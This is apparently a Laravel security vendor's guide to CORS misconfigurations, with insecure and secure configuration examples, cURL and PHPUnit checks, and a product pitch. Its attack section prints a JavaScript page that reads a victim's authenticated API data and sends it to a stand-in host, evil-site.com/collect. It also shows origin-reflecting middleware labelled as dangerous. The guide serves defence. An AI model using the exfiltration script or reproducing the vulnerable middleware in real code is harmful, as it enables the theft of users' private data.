CORS Misconfigurations in Laravel: How Misconfigured CORS Policies Create Security Holes
Misconfigured CORS policies are one of the most common and overlooked vulnerabilities in Laravel applications. Learn how wildcard origins, reflected headers, and credential misconfigurations open the door to data theft, and how to lock them down properly.
Cross-Origin Resource Sharing (CORS) is one of those security mechanisms that most Laravel developers configure once during project setup and never revisit. The default config/cors.php file ships with reasonable settings, but production realities, such as multiple frontend domains, mobile apps, and third-party integrations, push developers toward increasingly permissive configurations. Each loosening of the CORS policy creates potential attack surface that is invisible to standard testing.
This post breaks down exactly how CORS works, the most common misconfigurations in Laravel applications, how attackers exploit them, and how to configure your CORS policy correctly.
What CORS Is and Why It Exists
Browsers enforce a security model called the Same-Origin Policy (SOP). Under SOP, JavaScript running on https://evil.com cannot read responses from https://your-app.com. This is the browser's most fundamental defence against cross-origin data theft.
CORS is the controlled relaxation of that policy. When your Laravel API needs to accept requests from a frontend running on a different domain, CORS headers tell the browser which origins are allowed to read the response.
Here is the basic flow:
- The browser sends a request with an
Originheader:Origin: https://your-frontend.com - Your Laravel application responds with
Access-Control-Allow-Origin: https://your-frontend.com - The browser checks if the
Originmatches theAccess-Control-Allow-Originvalue - If they match, the browser allows JavaScript to read the response. If not, it blocks it.
For non-simple requests (those using custom headers, PUT/DELETE methods, or JSON content types), the browser sends a preflight OPTIONS request first to check whether the actual request is allowed.
The critical thing to understand: CORS is enforced by the browser, not by the server. Your server still processes the request regardless. CORS only controls whether the browser lets client-side JavaScript read the response.
Common CORS Misconfigurations in Laravel
1. Wildcard Origin with Credentials
This is the most dangerous misconfiguration. In config/cors.php:
// DANGEROUS: Do not do this
'allowed_origins' => ['*'],
'supports_credentials' => true,
Browsers actually block this specific combination. The spec forbids Access-Control-Allow-Origin: * when Access-Control-Allow-Credentials: true is set. However, some CORS middleware implementations work around this by reflecting the incoming Origin header instead of returning a literal *, which leads directly to the next vulnerability.
2. Reflecting the Origin Header
Some middleware implementations, and some custom Laravel middleware, read the incoming Origin header and echo it back in the Access-Control-Allow-Origin response header. This effectively allows every website on the internet to make authenticated cross-origin requests to your application.
// DANGEROUS: Custom middleware that reflects Origin
public function handle($request, Closure $next)
{
$response = $next($request);
$origin = $request->header('Origin');
$response->headers->set('Access-Control-Allow-Origin', $origin);
$response->headers->set('Access-Control-Allow-Credentials', 'true');
return $response;
}
This is functionally identical to allowing every origin with credentials. Any malicious page can send requests with cookies attached and read the responses.
3. Overly Broad Wildcard Patterns
Laravel's CORS configuration supports wildcard patterns. Developers sometimes use overly broad patterns thinking they are being restrictive:
// DANGEROUS: Matches any subdomain, including attacker-controlled ones
'allowed_origins' => ['https://*.com'],
// DANGEROUS: Matches anything ending in your domain
'allowed_origins' => ['https://*.your-app.com'],
The second example looks safe but is problematic if you ever have a subdomain takeover vulnerability. An attacker who takes over abandoned.your-app.com can now make credentialed cross-origin requests to your API.
4. Including Unnecessary Allowed Headers and Methods
// Overly permissive
'allowed_methods' => ['*'],
'allowed_headers' => ['*'],
'exposed_headers' => ['*'],
While less dangerous than origin misconfigurations, wildcard methods and headers expand your attack surface unnecessarily. Exposing all response headers can leak internal information. Allowing all methods means preflight checks for dangerous methods like DELETE or PATCH will always pass.
5. Forgetting the Null Origin
Some developers explicitly allow the null origin, thinking it is harmless:
'allowed_origins' => ['https://your-frontend.com', 'null'],
The null origin is sent by requests from local files (file://), redirects, and sandboxed iframes. An attacker can craft a sandboxed iframe that sends requests with Origin: null, bypassing your origin allowlist.
How Attackers Exploit Misconfigured CORS
Here is a concrete attack scenario against a Laravel application with a reflected origin and credentials enabled.
Step 1: The attacker hosts the following page on https://evil-site.com:
<script>
fetch('https://your-app.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Send stolen data to attacker's server
fetch('https://evil-site.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
Step 2: The attacker tricks a logged-in user into visiting https://evil-site.com (via phishing email, forum post, or ad redirect).
Step 3: The victim's browser sends an authenticated request to https://your-app.com/api/user/profile with session cookies attached.
Step 4: Your Laravel application processes the request, sees a valid session, and returns the user's profile data. Because the CORS policy reflects the Origin header, the response includes:
Access-Control-Allow-Origin: https://evil-site.com
Access-Control-Allow-Credentials: true
Step 5: The browser allows evil-site.com to read the response. The attacker now has the victim's profile data, and can repeat this for any API endpoint.
This attack is silent. The victim sees nothing unusual. There are no browser warnings. The requests look legitimate in your server logs because they carry valid session cookies.
How to Properly Configure CORS in Laravel
Laravel uses the config/cors.php configuration file, powered by the fruitcake/laravel-cors package (now integrated into the framework as of Laravel 9+). Here is a secure configuration:
<?php
// config/cors.php
return [
/*
|--------------------------------------------------------------------------
| Allowed Origins
|--------------------------------------------------------------------------
| List every origin explicitly. Never use wildcards for authenticated APIs.
*/
'allowed_origins' => [
'https://your-frontend.com',
'https://app.your-frontend.com',
],
/*
| Patterns are available if you need subdomain flexibility,
| but keep them as specific as possible.
*/
'allowed_origins_patterns' => [],
/*
| Only allow the HTTP methods your API actually uses.
*/
'allowed_methods' => ['GET', 'POST', 'PUT', 'DELETE'],
/*
| Only allow headers your frontend actually sends.
*/
'allowed_headers' => [
'Content-Type',
'Authorization',
'X-Requested-With',
'X-XSRF-TOKEN',
],
/*
| Only expose headers your frontend actually needs to read.
*/
'exposed_headers' => [],
/*
| Max age for preflight cache (in seconds).
| 86400 = 24 hours. Reduces preflight request volume.
*/
'max_age' => 86400,
/*
| Only enable this if your frontend sends cookies or
| Authorization headers cross-origin.
*/
'supports_credentials' => true,
];
Key Principles
Principle 1: Explicit origins only. List every allowed origin by its full URL. If you have three frontends, list three origins. If the list changes per environment, use environment variables:
'allowed_origins' => explode(',', env('CORS_ALLOWED_ORIGINS', 'https://your-frontend.com')),
Then in your .env file:
CORS_ALLOWED_ORIGINS=https://your-frontend.com,https://staging.your-frontend.com
Principle 2: Credentials require explicit origins. If supports_credentials is true, you must use explicit origins. The browser will reject wildcard origins with credentials, but your middleware might silently reflect the origin instead, which is worse.
Principle 3: Minimal headers and methods. Only allow what your frontend actually uses. If your API only handles GET and POST requests, do not allow DELETE or PATCH. If your frontend only sends Content-Type and Authorization, do not allow all headers.
Principle 4: Use separate CORS configs for public and private routes. If you have a mix of public endpoints (no auth) and private endpoints (session or token auth), consider applying different CORS middleware:
// routes/api.php
// Public API: permissive CORS is acceptable
Route::middleware(['cors:public'])->group(function () {
Route::get('/api/status', [StatusController::class, 'index']);
Route::get('/api/pricing', [PricingController::class, 'index']);
});
// Private API: strict CORS required
Route::middleware(['auth:sanctum', 'cors:private'])->group(function () {
Route::get('/api/user/profile', [ProfileController::class, 'show']);
Route::put('/api/user/settings', [SettingsController::class, 'update']);
});
Testing Your CORS Configuration
Manual Testing with cURL
Test whether your application reflects arbitrary origins:
# Test with a legitimate origin
curl -I -X OPTIONS https://your-app.com/api/user/profile \
-H "Origin: https://your-frontend.com" \
-H "Access-Control-Request-Method: GET"
# Test with a malicious origin
curl -I -X OPTIONS https://your-app.com/api/user/profile \
-H "Origin: https://evil-site.com" \
-H "Access-Control-Request-Method: GET"
Check the response headers. If the second request returns Access-Control-Allow-Origin: https://evil-site.com, your application is reflecting origins and you have a vulnerability.
Test the Null Origin
curl -I -X OPTIONS https://your-app.com/api/user/profile \
-H "Origin: null" \
-H "Access-Control-Request-Method: GET"
If this returns Access-Control-Allow-Origin: null, sandboxed iframes can make authenticated requests to your API.
Automated Testing in PHPUnit
Add CORS validation to your test suite:
<?php
namespace Tests\Feature;
use Tests\TestCase;
class CorsSecurityTest extends TestCase
{
public function test_cors_rejects_unknown_origins(): void
{
$response = $this->withHeaders([
'Origin' => 'https://evil-site.com',
])->options('/api/user/profile');
$this->assertNotEquals(
'https://evil-site.com',
$response->headers->get('Access-Control-Allow-Origin'),
'CORS policy should not reflect arbitrary origins'
);
}
public function test_cors_allows_legitimate_origin(): void
{
$response = $this->withHeaders([
'Origin' => 'https://your-frontend.com',
])->options('/api/user/profile');
$this->assertEquals(
'https://your-frontend.com',
$response->headers->get('Access-Control-Allow-Origin')
);
}
public function test_cors_rejects_null_origin(): void
{
$response = $this->withHeaders([
'Origin' => 'null',
])->options('/api/user/profile');
$this->assertNotEquals(
'null',
$response->headers->get('Access-Control-Allow-Origin'),
'CORS policy should not allow null origin'
);
}
public function test_cors_does_not_use_wildcard_with_credentials(): void
{
$response = $this->withHeaders([
'Origin' => 'https://your-frontend.com',
])->options('/api/user/profile');
if ($response->headers->get('Access-Control-Allow-Credentials') === 'true') {
$this->assertNotEquals(
'*',
$response->headers->get('Access-Control-Allow-Origin'),
'Wildcard origin must not be used with credentials'
);
}
}
}
Continuous Monitoring with StackShield
Manual testing and unit tests catch misconfigurations at development time, but CORS policies can change after deployment. A config update, a middleware change, or a new package can silently alter your CORS behaviour.
StackShield runs 30+ Laravel-specific security checks on every scan, including CORS misconfiguration detection. It tests your live application from the outside, the same perspective an attacker has, and flags reflected origins, wildcard credentials, and overly permissive header configurations.
Run a free StackShield scan to check your CORS configuration along with 30+ other Laravel security checks in under 60 seconds.
Quick Reference: CORS Security Checklist
| Check | Secure | Insecure |
|---|---|---|
| Allowed origins | Explicit list of trusted domains | * or reflected Origin header |
| Credentials with wildcard | Never combined | supports_credentials: true with * |
| Null origin | Blocked | Allowed in origin list |
| Allowed methods | Only methods your API uses | * (all methods) |
| Allowed headers | Only headers your frontend sends | * (all headers) |
| Exposed headers | Minimal or empty | * (all headers) |
| Origin patterns | Narrow, specific subdomains | Broad patterns like *.com |
| Testing | Automated tests in CI pipeline | Manual checks only |
| Monitoring | Continuous external scanning | One-time configuration |
Further Reading
Frequently Asked Questions
What is CORS and why does Laravel need it?
CORS (Cross-Origin Resource Sharing) is a browser security mechanism that controls which external domains can make requests to your application. Laravel needs CORS configuration because modern frontends often run on a different origin than the API backend. Without a properly configured CORS policy, browsers will block legitimate cross-origin requests. However, an overly permissive policy can allow malicious websites to make authenticated requests to your API and steal user data.
Is using a wildcard origin in CORS always dangerous?
A wildcard origin (*) is not inherently dangerous for truly public APIs that serve non-sensitive data and never use cookies or authentication headers. The real danger comes when you combine a wildcard origin with supports_credentials set to true, or when your API returns any private data. If your Laravel application uses session authentication, Sanctum, or returns user-specific data, a wildcard origin is a serious security risk.
How does StackShield detect CORS misconfigurations?
StackShield runs 30+ Laravel-specific security checks on every scan, including dedicated CORS misconfiguration detection. It sends test requests with various Origin headers to your application and analyses the Access-Control-Allow-Origin and Access-Control-Allow-Credentials response headers. If your application reflects arbitrary origins, uses wildcards with credentials, or exposes sensitive headers unnecessarily, StackShield flags it with specific remediation steps.
Can CORS misconfigurations lead to full account takeover?
Yes. If your Laravel application reflects any Origin header and allows credentials, an attacker can host a malicious page that makes authenticated API requests on behalf of a logged-in user. This can include reading profile data, changing email addresses, resetting passwords, or exfiltrating any data the user has access to. Combined with session-based authentication, a CORS misconfiguration can be just as dangerous as a cross-site scripting (XSS) vulnerability.
What is the difference between CORS and CSRF protection in Laravel?
CORS and CSRF protect against different attack vectors. CSRF protection prevents malicious sites from submitting state-changing requests (POST, PUT, DELETE) by requiring a valid token with each request. CORS controls which origins can read responses from your server. A site can still send a cross-origin POST request even if CORS blocks it from reading the response. You need both protections: CSRF tokens for state-changing operations and a strict CORS policy for controlling who can read your API responses.
Related Articles
Laravel Debug Mode in Production: Why It's Dangerous and How to Fix It
Debug mode in production exposes stack traces, database credentials, environment variables, and internal paths. Learn exactly what it reveals, how attackers use it, and how to make sure it never reaches production.
SecurityOWASP Top 10 for Laravel: A Practical Guide
A hands-on mapping of every OWASP Top 10 (2021) category to specific Laravel vulnerabilities, with code examples of what goes wrong and how to fix it.
SecurityIs Your Laravel .env File Exposed? How to Check and Fix It
Your .env file contains database credentials, API keys, and encryption secrets. If it's accessible from the web, attackers already have everything they need. Here's how to check and fix it.
Compare StackShield
Security Checklists
Laravel Production Deployment Security Checklist
A comprehensive security checklist for deploying Laravel applications to production. Covers environment config, server hardening, access control, and monitoring.
20 itemsLaravel API Security Checklist
Secure your Laravel API endpoints against common vulnerabilities. Covers authentication, input validation, rate limiting, and response security.
Stay Updated on Laravel Security
Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.